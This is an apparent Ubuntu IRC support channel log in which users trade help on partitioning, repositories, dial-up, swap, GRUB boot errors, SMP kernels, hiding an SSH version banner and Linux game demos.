[12:01] <host`> any idea for an image archiving tool like irfanview or acdsee?
[12:01] <crot> There are exploits related to filling partitions with crap
[12:01] <teer2> like, can you get the linux demo for doom3?
[12:01] <jinx099> teer2: no because they arent open source
[12:01] <crot> like, if you filled someone's /var/spool/mail with junk mail
[12:01] <Jordan_U> teer2: Not that I know of
[12:01] <crot> if that was on a separate partition then your mail breaks
[12:01] <tommy1987> are there any ubuntu developers here?
[12:01] <teer2> jinx099: so only open source software is available through apt-get ?
[12:01] <crot> if it's your whole disk then your system goes funky.
[12:02] <mnoir> crot: that is not necessarily a partition - it may be a conventional directory
[12:02] <jinx099> teer2: by default, yes (i believe)
[12:02] <mwe> teer2: the supported repositories don't have commercial software
[12:02] <ubuntian> experiece of trucrypt?
[12:02] <mnoir> crot: how does the fact of a partition affect the exploit?
[12:02] <beck> Question. =] 
[12:02] <teer2> mwe: Interesting!
[12:02] <riotkittie> argh. i just caught myself trying to cd into a channel. guess thats sign i shouldnt attemp to assist anyone in the near future :P
[12:02] <mwe> teer2: you might be able to find some unofficial repos
[12:02] <beck> I lost my recycle bin... how can I get it back? xD
[12:02] <tommy1987> rofl
[12:02] <oidia> mnoir: i mean its posible to seperate /var and /log, have a different for /home and so on?..
[12:03] <mnoir> riotkittie: yeah - you want to chmod it first....
[12:03] <crot> mnoir: because a partition has pre-limited space.
[12:03] <teer2> !repository
[12:03] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[12:03] <beck> Or garbage bin or whatever it's called...
[12:03] <riotkittie> heh
[12:03] <crot> So you can't fill someone's disk by filling a log partition
[12:03] <Jordan_U> beck: right click th panel and choose add to panel
[12:03] <mnoir> oidia: yes it is - what bearing on security does that have?
[12:03] <beck> I didn't have it long enough to remember what it's called. xD
[12:03] <mwe> teer2: well I guess the ubuntu policy is to support only free software. you can still install whatever you like if you can find other mirrors or not using APT
[12:03] <crot> there is the multiverse mirror
[12:04] <teer2> mwe: Check out https://help.ubuntu.com/community/Repositories/Ubuntu
[12:04] <beck> That would help if it still existed, Jordan_U
[12:04] <teer2> mwe: There is a restricted channel
[12:04] <mnoir> crot: true but i still do not see how that matters - all space is in partitions so all partitions can be overrun
[12:04] <mwe> teer2: restricted yes, but AFAIK it's very limited
[12:04] <tommy1987> anybody know of any C programming tutorials in the linux environment which are particularly good?
[12:04] <Jordan_U> beck: there should be an option there to add it, it's called "trash"
[12:04] <crot> mnoir: but only some things you do on a system have an external entry vector
[12:04] <mwe> teer2: like the drivers and such
[12:04] <mnoir> crot: that is, if any can
[12:04] <oidia> mnoir: whell, so that when /log is full the system doesent crash, for example.. 
[12:05] <DrAk0> anyone with MuSE dyne installed on ubuntu??
[12:05] <beck> I can't "Add To Panel" xD
[12:05] <mnoir> oidia: good point - you are right
[12:05] <mnoir> crot: his point is made :)
[12:05] <r3m0t> I would like help with the USB wireless card WG111v1 on x86_64. dmesg gives "kernel is 64-bit, but Windows driver is not 64-bit"
[12:05] <kane77> tommy1987, have you got some experience or not?
[12:05] <chovy> how do i dialup my isp?
[12:05] <teer2> mwe: Interesting.  I think there should be a channel for commercial game demos.  I'm going to work on it.
[12:05] <beck> Hang on... found it.
[12:05] <Jordan_U> odia: what about just setting a limit on how big the folder can get?
[12:06] <mnoir> oidia: so now ask again :)
[12:06] <n2diy> tommy1987: you might find some basic stuff here: http://rute.2038bug.com/rute.html.gz
[12:06] <tonyyarusso> !dialup | chovy
[12:06] <chovy> i have it configured but don't know where to start the dialup app.
[12:06] <ubotu> chovy: You want to connect via dial-up? Read https://wiki.ubuntu.com/DialupModemHowto
[12:06] <oidia> mnoir: do you have any sugustions, cause i cant seam to rebember how it "should" be done
[12:06] <r3m0t> tonyyarusso: what does "!dialup | chovy" mean?
[12:06] <mwe> teer2: multiverse has some commercial stuff. not doom3 demo I think, though
[12:06] <mr_hus> Hi, with smbmount, is there a way to mount all the shares from a remote machine?? If i just give //machine-ip/ as the source, it says it can't find the share...
[12:06] <klerfayt> what to do with DVDR iso?
[12:06] <oidia> how should i partition my system? how big should the different be?
[12:07] <mnoir> oidia: i always make home a separate partition - this is not necessarily a security thing.  any fast growing files should be on a sep part so /var/log is a candidate
[12:07] <mwe> teer2: yeah go give us a repo for game demos. that would rock
[12:07] <jinx099> teer2: Are you having problems installing the demo?  Or not know how?
[12:07] <teer2> teer2: I'm on it, yo!
[12:07] <Jordan_U> klerfayt: right click it -> burn to disk
[12:07] <mwe> jinx099: I think he would like to be able to apt-get it
[12:07] <Bluedog> hmm
[12:07] <tonyyarusso> r3m0t: bot usage
[12:07] <mnoir> oidia: other than that, i partition according to use - a dev system will probably have a separate /usr
[12:07] <tonyyarusso> !bot | r3m0t
[12:07] <ubotu> r3m0t: I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[12:07] <teer2> jinx099: I'm trying to help move the gaming scene forward.  linuxgamingworld.com
[12:07] <Bluedog> just resized my swap, but it didnt mount. clicked swapon in gparted, and its now there.
[12:08] <Bluedog> is this permanent?
[12:08] <klerfayt> Jordan_U: I'm trying to extract the content of iso with kiso, but it crashes
[12:08] <Bluedog> im not going to have to click swapon every boot...
[12:08] <stefg> oidia: suggestion would be 10G / (root), 512 MB swap, the rest /home
[12:08] <Jordan_U> mnoir: Why not use use quotas instead?
[12:08] <oidia> mnoir: i had a nice little "guide" or sugustion with 5-7 different, looking for something simmilar
[12:08] <kane77> oidia, well I have mine set up like this: /  -ext3 16GB, swap 1 GB... some people like to have /home/ on a different partition also /boot/
[12:08] <mwe> teer2: that's great. keep up the good work.
[12:08] <DrAk0> anyone with dyne MuSE for audio streaming installed on ubuntu??
[12:08] <teer2> mwe: you bet, my pleasure.
[12:09] <jinx099> teer2: So you're making a demo and ope source games repo?
[12:09] <oidia> ok, thanks all
[12:09] <teer2> jinx099: going to look into it based on what you've told me here
[12:09] <jinx099> teer2: cool, good luck
[12:09] <mnoir> Jordan_U: not a bad idea - some folks do not trust them though.  also - quotas follow users i think i am not sure you can limit a filesize
[12:09] <teer2> jinx099: no, just linux-supported commercial game demos
[12:09] <clayg> i want to set up a file server that is accessible from both doze and nix.  I really rather it be NFS than Samba, any suggestions?
[12:09] <mwe> teer2: I gave up linux gaming a few years ago. my life is too short to spend a week installing each game. I would love to see more games and better installers for linux
[12:10] <tommy1987> lol
[12:10] <mnoir> clayg: you will need an NFS client for win then...
[12:10] <tommy1987> linux is not for games though really is it, the ones that are made should work and work well
[12:10] <teer2> mwe: consoles are pretty sweet if you don't want to tinker with the install
[12:10] <katabatic> SOMEBODY please help me figure out why it's not connecting to the router with DHCP automatically on boot, on wired network. I can tell it to connect manually, and it connects, but not automatically at boot! I installed some packages, and it stopped working, can't figure out what.
[12:11] <teer2> mwe: I just want games available for people who still want to tinker with them
[12:11] <tommy1987> what have you installed?
[12:11] <sjbrown> anyone know how to send arguments to time?
[12:11] <mnoir> katabatic: what packages
[12:11] <tommy1987> katabatic?
[12:11] <mwe> teer2: yeah. I don't mind spending a little time installing things but sometimes it gets redicilous
[12:11] <music_> god....
[12:11] <sjbrown> $ time -v echo foo
[12:11] <sjbrown> that complains that "-v" is an command that can't be found
[12:11] <music_> i am geting sick
[12:11] <Jordan_U> !iso | klerfayt
[12:11] <ubotu> klerfayt: To mount an ISO disc image, type "sudo mount -o loop my.iso <mountpoint>" There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion Always verify the ISO using !MD5 before burning. Burning .iso files: see !burn
[12:11] <music_> and tire
[12:11] <katabatic> tommy1987: pretty much a network manager like knetworkmanager I think, and power saving manager
[12:12] <n2diy> music_: I caught your last drop out : music___ has quit (Read error: 110 (Connection timed out))
[12:12] <r3m0t> how often am I allowed to repeat a question? :D
[12:12] <katabatic> every 10 hours
[12:12] <music_> i know
[12:12] <music_> i saw it
[12:12] <r3m0t> nighty night
[12:12] <tommy1987> hmmm was it working okay before?
[12:12] <teer2> !universe
[12:12] <music_> * stoneey has quit ("Leaving")
[12:12] <music_> * music____ has quit (Read error: 110 (Connection timed out)
[12:12] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[12:12] <katabatic> yes it was
[12:12] <katabatic> tommy1987: yes it was
[12:12] <music_> i just called
[12:12] <mnoir> r3m0t: reasonable time is likr 5 min I'd say
[12:12] <teer2> !EasySource
[12:12] <ubotu> source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[12:12] <Jordan_U> r3m0t: every few minutes I would say
[12:12] <music_> and they say its u guys
[12:12] <tommy1987> okay well try and uninstall the knetwork manager then and reboot and see if its back to normal
[12:13] <tommy1987> if you installed knetwork manager on ubuntu, it isnt the greatest idea in the world since its made for KDE
[12:13] <mwe> teer2: I guess right now the biggest problem for me is most of the games I play doesn't even work in linux no matter how much you work at it
[12:13] <DRMacIver> Any preferred guides for getting multiple monitors to work under Ubuntu?
[12:13] <r3m0t> ok, how about this. how can I best "down"grade to 32-bit? (packages installed, ~ directory, etc)
[12:13] <timmyk0> hye
[12:13] <jinx099> mwe: windows games, right?
[12:13] <timmyk0> hey
[12:13] <trainer_> anyone know how to get flash and codecs working on amd64?
[12:13] <katabatic> tommy1987: well, I'm on kubuntu, and I already tried uninstalling
[12:14] <mwe> jinx099: well since there are no linux versions, yes
[12:14] <tommy1987> okay
[12:14] <teer2> mwe: Understandable - that's why I think we need to buy them so we can pay for supported software.
[12:14] <quad3datwork2> anyone worked w/ SAS drives before?
[12:14] <mnoir> tommy1987: the doc sez kde apps should work in gnome.  if you know different you should file bugs with Cannonical
[12:14] <DRMacIver> (Single dual output graphics card)
[12:14] <mwe> teer2: I'd buy them
[12:14] <predius_> DRMacIver: there's something on the gentoo wiki, one sec
[12:14] <teer2> jinx099: Hope you check out the website.  Often.  And leave lots of message.  haha..
[12:14] <jinx099> mwe: doom3, quake4, ut2004...??
[12:15] <teer2> mwe: We've got a long list of games you can buy that came out in the last year.  se:  http://linuxgamingworld.com/games-catalog/
[12:15] <timmyk0> I am trying to install Ubuntu 6.10 with the cd. It gets to the screen where you choose how to boot, I tried both safe graphics mode and the normal mode and either way it goes to the next screen and displays a blinking line in the upper left corner and that's it. can anyone help me?
[12:15] <r3m0t> trainer_: codecs should mostly work. flash is another matter
[12:15] <tommy1987> fair enough but surely installing something like knetworkmanager over ubuntu which already has everything neccessary to interface with a network is silly
[12:15] <mwe> jinx099: I'm tired of those games. I know ID games have linux versions
[12:15] <predius_> DRMacIver: http://gentoo-wiki.com/HOWTO_Dual_Monitors
[12:15] <mwe> teer2: great
[12:15] <DRMacIver> Thanks
[12:15] <katabatic> tommy1987: not quite
[12:15] <predius_> tommy1987: the whole point of network manager is the switching
[12:15] <trainer_> r3m0t: how difficult
[12:16] <Jordan_U> timmyk0: Did you check the disk with MD5 ?
[12:16] <tommy1987> can that not be done from within ubuntu natively?
[12:16] <predius_> i can have a wired, and three wireless configured, without having to go to network admin every time I change locations
[12:16] <teer2> Quake Wars: Enemy Territory is coming out next month for Linux and it is going to rock the house.
[12:16] <mwe> teer2: I guess the more games are sold the more will be available in time
[12:16] <timmyk0> No i didn't.
[12:16] <r3m0t> trainer_: I would expect automatix to do it...
[12:16] <timmyk0> how can i do that now
[12:16] <tommy1987> thats fair enough
[12:16] <r3m0t> ...if it can be done
[12:16] <jinx099> I wish linux had DX9/10
[12:16] <jinx099> or could have anyway
[12:16] <katabatic> tommy1987:  it was mainly for my wifi. doesn't mattery WHY I installed it. what matters is that my thing isnow broken. it may not have been knetworkmanager, I also installed some others, and uninstalled them
[12:17] <mwe> teer2: ET? I think I played that in linux four years ago or so
[12:17] <Jordan_U> !automatix | r3m0t
[12:17] <ubotu> r3m0t: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[12:17] <tommy1987> well i guess i dont know then
[12:17] <teer2> mwe: It is just using the ET name.  It looks more like BF2047
[12:17] <mwe> teer2: oh
[12:17] <r3m0t> !easyubuntu | r3m0t
[12:17] <ubotu> r3m0t: easyubuntu is a script that automates installation of some items. Use at your own risk. See http://easyubuntu.freecontrib.org/ - For help and or discussions about EasyUbuntu please join #easyubuntu
[12:18] <r3m0t> hum hum
[12:18] <trainer_> thanks
[12:18] <teer2> mwe: QW:ET is not out yet for any platform
[12:18] <mwe> I see
[12:18] <Jordan_U> r3m0t: Easyubuntu installs things much more cleanly and officially
[12:18] <mwe> teer2: well there be a demo as well?
[12:19] <andresmujica> for anyone that uses kontact and want to add contact email address automagically, please check this http://www.seaq.com.co/linux/kbbdb/
[12:19] <teer2> mwe: Unknown at this time.  Check LGW in the next couple weeks for the news.
[12:19] <chovy> you're kidding me. what good is an OS that doesn't support dialup.
[12:19] <mwe> teer2: I will. I love what your doing. linux gaming needs promoting
[12:19] <Jordan_U> chovy: It does support Dial up, it may not support your specific card but that is different
[12:19] <Creteil> hi all
[12:20] <teer2> chovy: You have a wintel modem or something?
[12:20] <chovy> teer2: no idea.
[12:20] <jadacyrus>  This CD refuses to eject from my computer, it just keeps trying to read it, i tried the eject command nothing is working. Please help me get this demon possesed CD out of my damn computer.
[12:20] <Creteil> i'm currently running feisty
[12:20] <teer2> mwe: Thanks for the encouragement!!
[12:20] <Jordan_U> !pppoe | chovy
[12:20] <ubotu> chovy: Setting up an ADSL/PPPoE connection? Look at https://help.ubuntu.com/community/ADSLPPPoE
[12:20] <Creteil> all seems woking fine except i can't run xcdroast as root to generate the 1st configuration and be able to run it as user ...
[12:20] <ublender> Wow
[12:20] <nemo_play> jadacyrus: if eject command fails, is possible to use hdparm
[12:20] <nemo_play> to force a reset of the drive
[12:20] <tommy1987> is there a known bug with firefox It seems that very occasionally it just dissappears, i have known several people to have this problem?
[12:20] <Creteil> anyone have an idea ?
[12:20] <mnoir> !feisty | Creteil
[12:20] <ubotu> Creteil: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. At the moment it is alpha. Schedule: https://wiki.ubuntu.com/FeistyReleaseSchedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help in #ubuntu+1
[12:20] <nemo_play> jadacyrus: use at your own risk of course.  but some drives just act stupid
[12:21] <nemo_play> jadacyrus: rebooting often works :)
[12:21] <ublender> I look at my computer with aiglx+beryl+themes, I look at it's hundred applications, then I look at the price, and I talk to the community, I see what ubuntu really is, and why it rox over Other OS's
[12:21] <nemo_play> jadacyrus: is the -w parameter (man hdparm)
[12:21] <Jordan_U> tommy1987: There are many known problems with flashplugin crashing FF
[12:21] <mwe> teer2: If you set up a ubuntu repository for game demos I'm sure it will be a success. Lots of ubuntu users are hungry for linux games
[12:21] <shwag> has anyone on my ubuntu installed the rails mysql gem ?
[12:21] <r3m0t> jadacyrus: try "eject -v"
[12:21] <jadacyrus> k
[12:21] <mnoir> !anyone | shwag
[12:21] <ubotu> shwag: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[12:22] <ryanakca> anybody know of a cartesian coordinates/grid/graph app?
[12:22] <chovy> Jordan_U: i'm just trying to get standard dialup working for a family member.
[12:22] <mzanfardino> I have a network printer on a known IP address.  How do I configure the printer in CUPS?
[12:22] <teer2> mwe: Do you have any idea who I talk to about getting a file server on the official Ubuntu distribution list
[12:22] <r3m0t> ryanakca: gnuplot if you're willing to get nitty gritty
[12:22] <Bluedog> hmmm
[12:22] <Bluedog> i modified my swap, now i manually have to run swapon to enable it
[12:22] <Bluedog> how can i make this stick
[12:22] <ryanakca> r3m0t: not really... I just want to check something with my homework...
[12:22] <mwe> teer2: I'd ask in #ubuntu-devel
[12:23] <r3m0t> ryanakca: probably Maxima
[12:23] <ryanakca> r3m0t: kk, thanks :)
[12:23] <ublender> lol @ !anyone
[12:23] <MatthewV> Bluedog, what do you mean by modified?
[12:23] <teer2> mwe: I'm off to #ubuntu-devel, then.  Thanks for the advice and the chat.
[12:23] <Bluedog> I made it smaller
[12:23] <trainer_> r3m0t, flash from easyubuntu is x86 only :(
[12:23] <nemo_play> jadacyrus: g/l - later y'all. I'm just happy I got wireless working for my mom
[12:23] <ctkroeker> In a classroom of 7 new PC's, schould I store the data locally or on one drive?
[12:23] <Bluedog> the name hasnt changed, its still /dev/sda6] 
[12:23] <nemo_play> broadcom, WPA-PSK and all
[12:24] <nemo_play> ctkroeker: thinclient! network shared home dirs!
[12:24] <Bluedog> it shows up perfectly in top if i use swapon, but doesnt 'stick' after a reboot, cant understand it
[12:24] <Jordan_U> chovy: Sorry, wrong link: https://help.ubuntu.com/community/DialupModemHowto
[12:24] <timmyk0> to check the md5 checksum, i ram the 'md5sum ubuntu-6.10-desktop-i386.iso' - how do i know if it is alright or not?
[12:24] <nemo_play> ctkroeker: fewer computers you have the data on, the easier your setup is
[12:24] <mnoir> ctkroeker: edubuntu actually has thin client/ server built in - your choice tho
[12:24] <r3m0t> ctkroeker: 1) how much data, 2) will the students need to edit it
[12:24] <mwe> Bluedog: double check fstab
[12:24] <Bluedog> its not in there, but oddly enough it never was :/
[12:24] <Bluedog> cant understand why a size change would kill it
[12:25] <ctkroeker> The PC's all have 80GB harddrives, seems like a waste. about 20 users this year, it'll grow every year
[12:25] <Jordan_U> timmyk0: Do the same with the CD and see if the two numbers are the same, if not, it failed
[12:25] <timmyk0> how do i do it to the cd?
[12:25] <ctkroeker> I don't want to use thin client
[12:25] <timmyk0> md5sum D:\ ?
[12:25] <timmyk0> or d = cdrom drive
[12:25] <r3m0t> ctkroeker: because. . .?
[12:25] <mnoir> ctkroeker: how are you going to manage login - can the students use any pc or locked to 1?
[12:25] <r3m0t> timmyk0: "md5sum /dev/cdrom" I think
[12:26] <ctkroeker> tried it and was dissapointed, besides it would waste these nice PC's, 2.1 Ghz 512MB Ram
[12:26] <Bluedog> mwe, my bad, its there still :/
[12:26] <designdream> is there a console based wmv encoder?
[12:26] <timmyk0> i am on windows right now
[12:26] <r3m0t> ctkroeker: run folding@home ;-) seriously though, do the gnome lockdown thing
[12:26] <ctkroeker> well the students will only be there in groups of seven
[12:26] <Bluedog> this correct?
[12:26] <Bluedog> # /dev/sda6
[12:26] <Bluedog> UUID=6a578fa4-c4e8-418b-ad35-25204b27cbdf none            swap    sw              0       0
[12:26] <Bluedog> mountpoint is none...
[12:27] <mzanfardino> ok, so I have installed the lpd print driver and the cups wrapper.  The printer is a network printer, but the default printer driver is configured for a usb port.  I need to change it to the IP address, but I'm not clear on the format.  Any help?
[12:27] <chovy> it isn't obvious to me in ModemData.txt what I'm supposed to do.
[12:27] <Jordan_U> r3m0t: https://help.ubuntu.com/community/HowToMD5SUM
[12:28] <Stormx2> Does anyone else have problems with sound not syncing up in the flash?
[12:28] <timmyk0> thanks Jordon_U and r3m0t
[12:28] <ctkroeker> The drives still have guaranty, I guess I could keep like three and bring the rest back
[12:28] <ctkroeker> but I'd rather not
[12:29] <clayg> hey if you were making a file server reachable by both nix and windows computers, the same directory....what would you go with?
[12:29] <clayg> is there a way to go NFS all the wya?
[12:29] <ctkroeker> but it would be best if the student could log in from any of the PC's
[12:29] <mnoir> ctkroeker: i suspect that is almost a must
[12:29] <ctkroeker> yeah
[12:30] <chovy> how do i find out what modem I have? scanModem didn't find anything.
[12:30] <r3m0t_> did I miss anything? ;-)
[12:30] <mnoir> ctkroeker: think about backup, you might want to load up disks in two machines, use one as the backup server
[12:30] <ctkroeker> yeah, I was thinking of that
[12:30] <Vigo> Greetings
[12:30] <pr3d4t0r> Greetings.
[12:30] <mnoir> ctkroeker: seriously, the edubuntu project has thought about these things
[12:30] <ctkroeker> I think I'll have to talk with the school administration
[12:31] <pr3d4t0r> Is there some way to suppress this?  #
[12:31] <pr3d4t0r> 22/tcp  open  ssh     OpenSSH 4.3p2 Debian-5ubuntu1 (protocol 2.0)
[12:31] <mnoir> pr3d4t0r: surpress?
[12:31] <pr3d4t0r> mnoir: I don't want to broadcast the OpenSSH version or the fact that this is an Ubuntu box.
[12:32] <ctkroeker> yeah, but they just paid a couple thousand bucks on these PC's, they didn't want thin client's and I'll diliver what they want, somehow
[12:32] <Iceyes> where do i configurate the accounts for ssh?
[12:32] <mnoir> pr3d4t0r: but you want to allow ssh?
[12:32] <pr3d4t0r> mnoir: That's nmap's output.
[12:32] <pr3d4t0r> mnoir: Yeah.  I alrady configured iptables for that.
[12:32] <timmyk0> ok my hashes are the same for the iso and cdrom, what else can i do to see why this isn't working right?
[12:32] <pr3d4t0r> mnoir: I'm just surprised that this build of OpenSSH broadcasts that information.
[12:32] <mnoir> pr3d4t0r: have you configured iptables to allow ssh from anywhere?
[12:32] <pr3d4t0r> mnoir: Yes.
[12:33] <Iceyes> where is the account config file located?
[12:33] <Iceyes> for ssh
[12:33] <pr3d4t0r> mnoir: Firewalling is not hte issue.  That's taken care of.  I just don't want that string.
[12:33] <mnoir> Iceyes: what do you mean
[12:33] <lupine_85> Anyone here familiar with the vmware-player package?
[12:34] <pr3d4t0r> Hrm...
[12:34] <mnoir> pr3d4t0r: not sure you can surpress it
[12:34] <pr3d4t0r> mnoir: Nothing in sshd_config :\
[12:34] <lupine_85> I'm having some problems getting it instaleld
[12:34] <user_> helo
[12:34] <user_> ping
[12:34] <user_> can anyoen give me help with wifi
[12:34] <user_> ?
[12:34] <Vigo> pong
[12:34] <user_> any wifi advice?
[12:34] <itanshi> is there a package for having a different wallpaper per desktop?
[12:34] <lupine_85> it fails at:  "Probing for an unused private subnet (this can take some time)..."
[12:34] <user_> experiencing dropout
[12:34] <itanshi> heh wifi, still not working for me
[12:34] <lupine_85> (I have a static, public network)
[12:34] <pr3d4t0r> mnoir: Dang.
[12:34] <user_> im using wireless isp
[12:35] <user_> really frustrating..
[12:35] <Iceyes> mnoir i can't hardly remeber ssh, i installed it i need to edit the accessability for it ip and port and stuff
[12:35] <pr3d4t0r> mnoir: Let me see if those strings are built into the sshd executable.
[12:35] <user_> dont want to bug them because im using it free
[12:35] <mnoir> pr3d4t0r: there are not that many sshd versions.  somebody finding 22 open is going to test for all of them - you are not really that much more secure if you could surpress it i think
[12:35] <Creteil> pr3d4t0r: http://www.derkeiler.com/Mailing-Lists/FreeBSD-Security/2001-01/0421.html
[12:35] <Vigo> user_:I am pretty much ignorant in matters of WiFi. have you looked on the Forums?
[12:35] <user_> only 64k connection
[12:35] <user_> theres plenty forums
[12:35] <user_> but no conclusive advice
[12:35] <user_> ...
[12:35] <user_> like
[12:35] <mnoir> Iceyes: look at the /etc/ssh dir
[12:35] <itanshi> wifiradar?
[12:35] <user_> tilt antenna 2 degrees up
[12:36] <user_> or whatever
[12:36] <Vigo> Wheee
[12:36] <user_> using 18db antenna i think
[12:36] <Vigo> Good one, made me smile
[12:36] <user_> but this access is bridged by repeaters
[12:36] <crparr> Hi! Who has managed to get dualhead to run on an i855GM graphics card?
[12:36] <crparr> My Laptop offers a VGA compatible controller and a Display controller
[12:36] <mnoir> pr3d4t0r: if you want security through obscurity, i should think that changing ports would be a higher priority
[12:36] <Zambezi> How risky is it to follow the advice? http://pastebin.ca/313598
[12:36] <Milos_SD> hi all...
[12:36] <chovy> scanModem didn't return anything.
[12:37] <Milos_SD> I just downloaded dvd+rw-tools 7http://ftp.dk.debian.org/debian/pool/main/d/dvd+rw-tools/dvd+rw-tools_7.0-4_i386.deb
[12:37] <crparr> That's the way I dried to set ut up. But I only have one screen available. Please help!
[12:37] <ryanakca> anybody know of a cartesian coordinates/grid/graph app? maxima is not really what I'm looking for...
[12:37] <Milos_SD> I just downloaded dvd+rw-tools 7 from here : http://ftp.dk.debian.org/debian/pool/main/d/dvd+rw-tools/dvd+rw-tools_7.0-4_i386.deb
[12:37] <mnoir> pr3d4t0r: also installing a port kncker would be a good idea
[12:37] <pr3d4t0r> mnoir: No, I don't want that.
[12:37] <Milos_SD> can that be saftly instaled on Dapper?
[12:37] <pr3d4t0r> mnoir: And I have a port knocker installed as well.
[12:37] <pr3d4t0r> mnoir: That string just makes my butt itch ;)
[12:38] <acke_ubu> hey guys, i reinstalled windows xp, and now i cant boot into my ubuntu.. the boot for ubuntu halts with the error cant mount  /root/dev /dev/.somthing/dev folder cant be found. or something like that. i have reinstalled grub. (root (hda0,4) followed by setup (hda4)) but i get the same error message. I havent changed anything in menu.lst, so that should not be wrong. please help me. tried to google but wouldnt come up with anything
[12:38] <mnoir> pr3d4t0r: ok - so secure but not "too" secure :)
[12:38] <pr3d4t0r> mnoir: Oh, the server is solid.  I just don't like to give information that is not necessary to give.
[12:38] <mnoir> pr3d4t0r: which port knocker?  I am looking for one now....
[12:38] <paradoxx> which header files do I install for amd turion processor to get smp?
[12:38] <Creteil> pr3d4t0r: fix it in source code before recompiling and check if it brake things ...
[12:38] <Flannel> acke_ubu: when you install grub, you should install it to your MBR (that's just plain hda) not hda4
[12:39] <pr3d4t0r> mnoir: A script kiddie may start getting ideas if he sees that.  If a guy I should be worried about starts sniffiing, he'll figure out what I'm running whether sshd broadcasts it or not :)
[12:39] <Flannel> acke_ubu: except, it sounds like youre getting the error from within grub?
[12:39] <pr3d4t0r> mnoir: knockd
[12:39] <mnoir> pr3d4t0r: ta
[12:39] <pr3d4t0r> Creteil: It's not in the build.
[12:39] <acke_ubu> Flannel: i tried taht too. setup (hda)
[12:39] <paradoxx> which package do I install for smp?
[12:39] <paradoxx> !smp
[12:40] <pr3d4t0r> Creteil: I'm wondering if that output was an nmap deduction.  Fyodor does too good a job with it ;)
[12:40] <Flannel> acke_ubu: do you get to the grub menu? and then get an error from there? or what?
[12:40] <ubotu> Sorry, I don't know anything about smp - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:40] <Flannel> paradoxx: which version you running?
[12:40] <itanshi> there a way to have a different desktop background for each workspace on edgy?
[12:40] <paradoxx> Flannel: what you mean? I am using a amd dual core processor
[12:40] <Creteil> pr3d4t0r: just telnet localhost 22 and see :-)
[12:40] <mnoir> !generic | paradoxx have you looked here
[12:40] <ubotu> paradoxx have you looked here: Background to the decision to replace -686, k7 and -smp kernels with -generic can be found here https://lists.ubuntu.com/archives/ubuntu-devel/2006-August/019983.html (the -386 kernel is still available if needed)
[12:40] <pr3d4t0r> paradoxx: Edgy and later have SMP built-in.  If you have multiple processors/cores, the kernel will use them.
[12:40] <Flannel> paradoxx: edgy? breezy? dapper?
[12:40] <pr3d4t0r> Creteil: Yeah.
[12:41] <timmyk0> 
[12:41] <Flannel> paradoxx: and then, which current kernel are you running?
[12:41] <paradoxx> edgy
[12:41] <acke_ubu> flannel, yeah , i get grub. i make a choice to boot my ubuntu. and it starts booting. running scripts and so on. after a while it says kernel panic something
[12:41] <Milos_SD> I just downloaded dvd+rw-tools 7 from here : http://ftp.dk.debian.org/debian/pool/main/d/dvd+rw-tools/dvd+rw-tools_7.0-4_i386.deb.... can I install that on Dapper ?
[12:41] <pr3d4t0r> Creteil: Yes,it's displaying that.
[12:41] <paradoxx> pr3d4t0r: it dosen't seem to be seeing/using the other processor atm
[12:41] <pr3d4t0r> Creteil: But it's not in the sshd bin or in sshd_config - I wonder where that string is.
[12:41] <Flannel> paradoxx: you're using -386? or -generic kernel?
[12:41] <paradoxx> Flannel: how do I see which kernel?
[12:41] <Creteil> pr3d4t0r: is it the end of the string you want to remove (on my side it's 'Debian-7ubuntu1') ?
[12:41] <pr3d4t0r> paradoxx: I dunno then.  The Kubuntu box where I'm running Edgy does see the multiple cores :\
[12:41] <paradoxx> Flannel: 386 si the one i'm using
[12:42] <pr3d4t0r> Creteil: Yes.
[12:42] <Flannel> paradoxx: install -generic, that'll use SMP.  linux-generic is the package you want
[12:42] <pr3d4t0r> Creteil: Ah, found it.
[12:42] <ryanakca> Milos_SD: you can install it... might not work... and it might break stuff... so I wouldn't
[12:42] <Flannel> acke_ubu: That's not a grub problem, grub is booting your kernel fine.  Youve just got issues thereafter ;)
[12:43] <pr3d4t0r> Creteil: Offset 3edb0 of the sshd binary.
[12:43] <pr3d4t0r> Creteil: I guess rebuilding will fix that.
[12:43] <Milos_SD> ryanakca, than, how can I make my Pioneer 111D DVDRW work good?
[12:43] <wifire__> interesting.. when i reconnect the wifi.. it works great for about 10 - 30 seconds
[12:43] <wifire__> then dropout
[12:44] <wifire__> wifi works great for about 15 - 30 seconds after reconnect
[12:44] <wifire__> any ideas why this is?
[12:44] <Creteil> pr3d4t0r: rebuilding probably fix the problem ...
[12:44] <pr3d4t0r> Creteil: Yeah.
[12:44] <ryanakca> Milos_SD: no clue :)
[12:45] <pr3d4t0r> Creteil: It's a low priority thing; I'll do that when I'm done configuring the rest of the server.  I was just wondering if there was a config file somewhere that broadcast this.
[12:45] <acke_ubu> Flannel:  it halts right after kjournald was executed. and it says that it failed mounting /root/dev on /dev/.static/dev then it says cannot open /root/dev/console: no such file and the row after taht says: kernel panic-not syncing:...
[12:45] <pr3d4t0r> Creteil: Here is some trivia for you, to make up for the time you spent on this with me.
[12:45] <pr3d4t0r> Creteil: The /usr/bin/nawk that ships with the latest Solaris 10 DVD was built on a Ubuntu box.
[12:45] <paradoxx> Flannel: thank you very much, installing it now
[12:45] <acke_ubu> Flannel: so the issue seemsto be the missing directory /root/dev ?!
[12:46] <pr3d4t0r> Creteil: The binary is in ELF format and it runs *unchanged* under Linux :)
[12:46] <Creteil> pr3d4t0r: :-)
[12:46] <pr3d4t0r> Creteil: We found that one out this morning.  Pretty amusing.
[12:46] <Bluedog> what is bluetooth support in linux like?
[12:46] <Bluedog> I want to connect my phone..
